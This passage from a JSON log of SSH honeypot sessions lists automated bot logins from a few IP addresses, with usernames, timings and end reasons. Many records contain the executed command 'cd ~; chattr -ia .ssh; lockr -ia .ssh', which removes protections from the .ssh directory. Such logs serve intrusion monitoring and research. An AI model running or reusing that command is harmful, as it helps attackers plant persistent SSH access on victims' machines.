  "ended_at": "2026-08-27T00:36:46.059069+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2127
 },
 {
  "id": "9b3f10f1-89e0-4271-a402-95ddce6e8558",
  "name": "hushed-jolly-hornbill",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "118.194.228.101",
  "src_port": 60248,
  "username": "michal",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T00:36:23.998122+00:00",
  "ended_at": "2026-08-27T00:36:25.554403+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "3d12da8e-6c95-42ee-b4cc-1fef04d21d9f",
  "name": "genial-hazy-skylark",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "118.194.228.101",
  "src_port": 60234,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T00:36:18.820624+00:00",
  "ended_at": "2026-08-27T00:36:19.787772+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "1d3ba961-9947-47ed-8fd6-6400b59e5ee3",
  "name": "solar-rapid-bison",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "118.194.228.101",
  "src_port": 56892,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 522,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T00:33:42.846708+00:00",
  "ended_at": "2026-08-27T00:33:44.173413+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2161
 },
 {
  "id": "ac35acf3-f282-4ce2-a6c7-e4db05170401",
  "name": "rugged-ruddy-jerboa",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "118.194.228.101",
  "src_port": 58612,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T00:33:22.682424+00:00",
  "ended_at": "2026-08-27T00:33:23.644542+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "6b53966c-b304-410e-8466-7e083b739793",
  "name": "flinty-prairie-starling",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "118.194.228.101",
  "src_port": 58602,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T00:33:17.679396+00:00",
  "ended_at": "2026-08-27T00:33:18.420589+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "b6208ed3-6316-446d-9834-3837e3d83399",
  "name": "nautical-graceful-chinchilla",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "118.194.228.101",
  "src_port": 58962,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 515,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T00:30:43.803559+00:00",
  "ended_at": "2026-08-27T00:30:45.265857+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2150
 },
 {
  "id": "721da897-7b77-40f5-839e-f7de8f723396",
  "name": "early-wry-marten",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "118.194.228.101",
  "src_port": 48606,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T00:30:24.161304+00:00",
  "ended_at": "2026-08-27T00:30:25.803896+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "4466e00f-5dc3-4bb7-856e-700902caf2c2",
  "name": "tawny-tidal-yak",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "118.194.228.101",
  "src_port": 58968,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T00:30:19.995323+00:00",
  "ended_at": "2026-08-27T00:30:21.574011+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "522f4b42-b84d-4bf6-91b3-d747fd167d87",
  "name": "rapid-candid-porcupine",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "118.194.228.101",
  "src_port": 46664,
  "username": "mailuser",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 516,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T00:27:42.331054+00:00",
  "ended_at": "2026-08-27T00:27:43.807106+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2078
 },
 {
  "id": "718f4a18-c6ec-4f05-8d52-f3eb7b154950",
  "name": "marbled-austere-nuthatch",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "118.194.228.101",
  "src_port": 56586,
  "username": "mailuser",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T00:27:22.892741+00:00",
  "ended_at": "2026-08-27T00:27:24.656644+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "541420c4-6187-4657-b93a-2a6e010c7c08",
  "name": "faded-crystal-addax",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "118.194.228.101",
  "src_port": 56574,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T00:27:18.120902+00:00",
  "ended_at": "2026-08-27T00:27:19.834524+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "c4fa3bbc-ecba-4a1f-b0ad-4b87b4fe1fae",
  "name": "prairie-ivory-pangolin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "118.194.228.101",
  "src_port": 49256,
  "username": "ssl",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 530,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T00:24:30.857302+00:00",
  "ended_at": "2026-08-27T00:24:32.153617+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2072
 },
 {
  "id": "db208109-6607-4fdf-b270-54de36bfd155",
  "name": "shaded-alpine-moose",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "118.194.228.101",
  "src_port": 49286,
  "username": "ssl",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T00:24:10.950926+00:00",
  "ended_at": "2026-08-27T00:24:12.313376+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "7bad6c15-f3da-45bf-8867-1a0d0d3f317d",
  "name": "pewter-quartz-quokka",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "118.194.228.101",
  "src_port": 49272,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T00:24:06.729996+00:00",
  "ended_at": "2026-08-27T00:24:08.078903+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "5edb1ccb-d4dc-4fe7-b301-528eb53018b3",
  "name": "frank-dappled-cougar",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "118.194.228.101",
  "src_port": 50422,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 581,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T00:21:10.422459+00:00",
  "ended_at": "2026-08-27T00:21:11.831471+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2117
 },
 {
  "id": "98cc077b-9302-47a3-8cbc-076b40de366f",
  "name": "dutiful-rustic-mink",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "118.194.228.101",
  "src_port": 50444,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T00:20:53.613556+00:00",
  "ended_at": "2026-08-27T00:20:55.346818+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "402ad363-ca64-4773-a798-b8ce71ef2848",
  "name": "woven-smoky-magpie",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "118.194.228.101",
  "src_port": 50430,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T00:20:48.976951+00:00",
  "ended_at": "2026-08-27T00:20:50.440011+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "d07cf30b-8560-4b85-bbb5-af953dfb9455",
  "name": "early-deft-galago",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "118.194.228.101",
  "src_port": 50678,
  "username": "ftp_user",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 571,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T00:17:53.831192+00:00",
  "ended_at": "2026-08-27T00:17:54.534356+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2057
 },
 {
  "id": "2a83dae2-1927-459e-9efd-11b120b47889",
  "name": "murky-vaulted-anteater",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "118.194.228.101",
  "src_port": 52310,
  "username": "ftp_user",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T00:17:41.697466+00:00",
  "ended_at": "2026-08-27T00:17:43.153728+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "617a9f66-1617-4b8d-b484-f788061d7c97",
  "name": "inland-pewter-wallaby",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "118.194.228.101",
  "src_port": 52300,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T00:17:38.464256+00:00",
  "ended_at": "2026-08-27T00:17:40.527658+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "94c0eeeb-d5da-4974-a45f-a19bca359857",
  "name": "upland-distant-kestrel",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "101.96.209.234",
  "src_port": 36640,
  "username": "riccardo",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T00:16:59.768846+00:00",
  "ended_at": "2026-08-27T00:17:58.477214+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "aa2187ed-1cfd-441d-83fa-23d6ca9339f4",
  "name": "steady-airy-opossum",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "101.96.209.234",
  "src_port": 54830,
  "username": "riccardo",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T00:16:49.621783+00:00",
  "ended_at": "2026-08-27T00:20:50.158942+00:00",
  "ended_reason": "connection lost",
  "commands": 2,
  "transcript_bytes": 522
 },
 {
  "id": "d8569d23-7d3d-4484-a143-bef4fc61640a",
  "name": "jaunty-northern-boar",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "118.194.228.101",
  "src_port": 34414,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 548,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T00:14:46.269218+00:00",
  "ended_at": "2026-08-27T00:14:47.160675+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2095
 },
 {
  "id": "f67e105a-21cc-4d10-a910-daa44fe61e3b",
  "name": "jaunty-hazy-heron",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "118.194.228.101",
  "src_port": 46398,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T00:14:34.848353+00:00",
  "ended_at": "2026-08-27T00:14:36.185944+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "28a4282f-8420-404f-aa1f-eb04bc66b048",
  "name": "fringed-fearless-pangolin",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "118.194.228.101",
  "src_port": 46388,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T00:14:32.789994+00:00",
  "ended_at": "2026-08-27T00:14:33.686381+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "fe15e3b3-355d-4a8f-8d82-5ca3f6f24244",
  "name": "prairie-humble-dingo",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "101.96.209.234",
  "src_port": 44672,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T00:10:36.644376+00:00",
  "ended_at": "2026-08-27T00:14:36.902006+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 65
 },
 {
  "id": "ae1c0538-2141-4d51-af76-a28215962807",
  "name": "plush-dappled-pika",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "118.194.228.101",
  "src_port": 34614,
  "username": "cyber",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T00:09:03.109674+00:00",
  "ended_at": "2026-08-27T00:09:04.569697+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "4b81ca2f-db82-464c-8b9e-9c6b8153bacb",
  "name": "icy-rustic-flamingo",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "101.96.209.234",
  "src_port": 60274,
  "username": "pratik",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T00:07:30.267776+00:00",
  "ended_at": "2026-08-27T00:11:30.826253+00:00",
  "ended_reason": "connection lost",
  "commands": 1,
  "transcript_bytes": 37
 },
 {
  "id": "1069397e-d830-4c63-9326-317d46391636",
  "name": "vigilant-subtle-fennec",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "101.96.209.234",
  "src_port": 57740,
  "username": "sdtd",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T00:04:20.815650+00:00",
  "ended_at": "2026-08-27T00:08:20.823714+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 65
 },
 {
  "id": "007dc0bc-d9a2-4a1d-b7d6-a3ce2657a624",
  "name": "rugged-russet-peccary",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "101.96.209.234",
  "src_port": 34384,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T00:01:03.153925+00:00",
  "ended_at": "2026-08-27T00:05:03.178147+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 65
 },
 {
  "id": "a4f7eb82-d5f2-4df6-b081-70bc955a502b",
  "name": "hazy-western-nightjar",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "101.96.209.234",
  "src_port": 44512,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T23:57:54.694285+00:00",
  "ended_at": "2026-08-27T00:01:54.952118+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 65
 },
 {
  "id": "b17ef772-286f-4cad-a937-92a9ad21e4dd",
  "name": "foggy-cunning-swallow",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "101.96.209.234",
  "src_port": 46582,
  "username": "git",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T23:51:47.481211+00:00",
  "ended_at": "2026-08-26T23:55:47.506849+00:00",
  "ended_reason": "connection lost",
  "commands": 2,
  "transcript_bytes": 522
 },
 {
  "id": "604a671d-72e6-412d-ae67-1f2ed7509268",
  "name": "subtle-breezy-albatross",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "101.96.209.234",
  "src_port": 35642,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T23:48:42.937531+00:00",
  "ended_at": "2026-08-26T23:52:43.212571+00:00",
  "ended_reason": "connection lost",
  "commands": 2,
  "transcript_bytes": 522
 },
 {
  "id": "1d3971d4-7478-44ac-b114-3baf1b8a2042",
  "name": "wooded-early-lynx",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "101.96.209.234",
  "src_port": 54842,
  "username": "adminuser",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T23:45:31.550348+00:00",
  "ended_at": "2026-08-26T23:49:31.921481+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "7103ece5-592c-42ea-b5bf-d3999ce7f50e",
  "name": "lunar-marbled-impala",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "101.96.209.234",
  "src_port": 45896,
  "username": "khan",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T23:36:08.836571+00:00",
  "ended_at": "2026-08-26T23:40:08.851455+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 65
 },
 {
  "id": "f1ef5ea4-4273-43ec-9f72-2767d18da40f",
  "name": "russet-mossy-tapir",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "101.96.209.234",
  "src_port": 51944,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T23:32:19.014687+00:00",
  "ended_at": "2026-08-26T23:36:19.278485+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 65
 },
 {
  "id": "b9eb3aad-1ada-4969-92e9-51b053452758",
  "name": "gilded-bitter-wheatear",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "101.96.209.234",
  "src_port": 53794,
  "username": "oracle",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T23:29:09.204502+00:00",
  "ended_at": "2026-08-26T23:33:09.221372+00:00",
  "ended_reason": "connection lost",
  "commands": 2,
  "transcript_bytes": 522
 },
 {
  "id": "0df9cb7a-b7a2-414c-8587-31e8d3d41342",
  "name": "painted-humble-anteater",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "101.96.209.234",
  "src_port": 54354,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T23:23:24.366359+00:00",
  "ended_at": "2026-08-26T23:23:25.158960+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "7d5e5dab-7599-4b33-8119-376036dc995d",
  "name": "granite-thorny-peccary",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "101.96.209.234",
  "src_port": 56528,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T23:22:58.815150+00:00",
  "ended_at": "2026-08-26T23:26:58.828369+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 65
 },
 {
  "id": "aff26d29-2e2a-4e5f-8361-384914963176",
  "name": "loyal-honest-sparrow",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "101.96.209.234",
  "src_port": 43992,
  "username": "sinh",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T23:19:44.298611+00:00",
  "ended_at": "2026-08-26T23:23:44.839912+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "efedb818-db76-43d4-93d0-a5e6ab791bf6",
  "name": "sooty-brave-bullfinch",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "101.96.209.234",
  "src_port": 44990,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T23:16:41.815702+00:00",
  "ended_at": "2026-08-26T23:20:42.083199+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "f9515fc9-297b-4dd6-a82a-095acbd432dd",
  "name": "snowy-thrifty-martin",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "101.96.209.234",
  "src_port": 36006,
  "username": "sergey",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T23:13:34.982293+00:00",
  "ended_at": "2026-08-26T23:17:35.224458+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "c5b4666d-5a0c-4328-b270-76ca4be280e3",
  "name": "gloomy-calm-moose",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "101.96.209.234",
  "src_port": 51454,
  "username": "server",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T23:04:35.276417+00:00",
  "ended_at": "2026-08-26T23:08:35.419112+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "f2bff359-772a-4bd1-9c20-51338e0f1dd3",
  "name": "noble-nautical-cormorant",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "101.96.209.234",
  "src_port": 45396,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T22:58:30.186391+00:00",
  "ended_at": "2026-08-26T22:59:28.895241+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "942a9855-ff9d-45cc-842c-d369104b984b",
  "name": "sturdy-zealous-tinamou",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "101.96.209.234",
  "src_port": 35716,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T22:58:12.154069+00:00",
  "ended_at": "2026-08-26T23:02:12.387864+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "48a02821-9c28-49b2-a275-dbf93718a57c",
  "name": "northern-diligent-kea",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "129.121.114.225",
  "src_port": 57256,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T22:54:02.157985+00:00",
  "ended_at": "2026-08-26T22:54:03.018766+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2304
 },
 {
  "id": "7e666b73-ea45-4ad2-a0ff-2041491359b3",
  "name": "jaunty-grassy-pheasant",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "129.121.114.225",
  "src_port": 57276,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T22:53:38.383179+00:00",
  "ended_at": "2026-08-26T22:53:40.179348+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "a6c6c47c-a8a0-4db6-aac1-0c13d44ed61e",
  "name": "golden-coastal-brambling",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "129.121.114.225",
  "src_port": 57272,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T22:53:37.400030+00:00",
  "ended_at": "2026-08-26T22:53:38.246190+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "a1b9dc89-1589-4825-a649-7820cde79b12",
  "name": "civil-merry-quail",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "101.96.209.234",
  "src_port": 36400,
  "username": "sage",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T22:52:27.636871+00:00",
  "ended_at": "2026-08-26T22:53:26.250857+00:00",
